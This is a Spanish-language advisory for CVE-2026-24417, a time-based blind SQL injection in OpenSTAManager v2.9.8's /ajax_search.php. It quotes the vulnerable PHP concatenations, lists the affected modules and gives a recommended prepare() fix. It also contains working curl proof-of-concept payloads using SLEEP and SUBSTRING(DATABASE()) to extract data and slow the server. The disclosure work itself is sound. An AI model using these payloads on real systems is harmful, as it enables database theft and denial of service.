
CVE-2026-24417 - OpenSTAManager tiene una Inyección SQL ciega basada en tiempo con Denegación de Servicio amplificada
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-24417 |
| Gravedad | ALTA |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Vulnerabilidad crítica de inyección SQL ciega basada en tiempo que afecta a múltiples módulos de búsqueda en OpenSTAManager v2.9.8, permitiendo a atacantes autenticados extraer contenidos sensibles de la base de datos, incluyendo hashes de contraseñas, datos de clientes y registros financieros, mediante ataques de inferencia booleana basados en tiempo con ejecución amplificada en más de 10 módulos.
Estado: ✅ Confirmado y probado en una instancia en vivo (v2.9.8)
Parámetro vulnerable: term (GET)
Endpoint afectado: /ajax_search.php
Módulos afectados: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 contiene una vulnerabilidad crítica de inyección SQL ciega basada en tiempo en la funcionalidad de búsqueda global. La aplicación no sanitiza correctamente el parámetro term antes de usarlo en cláusulas SQL LIKE en múltiples manejadores de búsqueda específicos de módulo, lo que permite a atacantes inyectar comandos SQL arbitrarios y extraer datos sensibles mediante inferencia booleana basada en tiempo.
Cadena de vulnerabilidad:
Punto de entrada: /ajax_search.php (Línea 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
El parámetro $term recibe una sanitización mínima (solo reemplazo de barras).
Distribución: /src/AJAX.php::search() (Línea 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
El $term sin sanitizar se pasa a todos los manejadores de búsqueda específicos de módulo.
Ejecución: /src/AJAX.php::getSearchResults() (Línea 373)
require $file;
El archivo search.php de cada módulo se incluye con la variable $term en el ámbito.
Consultas SQL vulnerables: Múltiples módulos concatenan directamente $term sin prepare()
Todos los archivos afectados (10+ instancias vulnerables):
/modules/articoli/ajax/search.php - Línea 51 (EJEMPLO PRINCIPAL)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Impacto: Concatenación directa sin prepare(), permite inyección SQL completa.
/modules/ordini/ajax/search.php - Línea 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - Línea 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - Línea 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - Línea 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - Línea 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - Línea 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Correctamente sanitizado (NO vulnerable):
/modules/contratti/ajax/search.php - Usa prepare() correctamente/modules/automezzi/ajax/search.php - Usa prepare() correctamenteNota: La vulnerabilidad tiene ejecución amplificada - una sola solicitud maliciosa desencadena inyección SQL en TODOS los módulos vulnerables simultáneamente, causando que los ataques basados en tiempo se ejecuten 10+ veces por solicitud, multiplicando la demora y provocando errores 504 Gateway Time-out como se observó en la instancia de demostración en vivo.
Paso 1: Iniciar sesión
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Paso 2: Verificar la vulnerabilidad (SLEEP basado en tiempo) Prueba con SLEEP(1) - debería tomar ~85+ segundos debido a la ejecución amplificada
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
Paso 3: Extracción de datos - Nombre de la base de datos Extraer el primer carácter del nombre de la base de datos (esperado: 'o' de 'openstamanager')
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s
Usuarios afectados: Todos los usuarios autenticados con acceso a la funcionalidad de búsqueda global.
Corrección recomendada:
Reemplace todas las instancias de concatenación directa de $term con prepare():
ANTES (Vulnerable):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
DESPUÉS (Corregido):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Aplicar esta corrección a TODOS los archivos afectados:
/modules/articoli/ajax/search.php - Línea 51/modules/ordini/ajax/search.php - Líneas 43, 47, 79/modules/ddt/ajax/search.php - Líneas 43, 47, 83/modules/fatture/ajax/search.php - Líneas 45, 49, 85/modules/preventivi/ajax/search.php - Líneas 45, 49, 83/modules/anagrafiche/ajax/search.php - Líneas 62, 107, 162/modules/impianti/ajax/search.php - Línea 46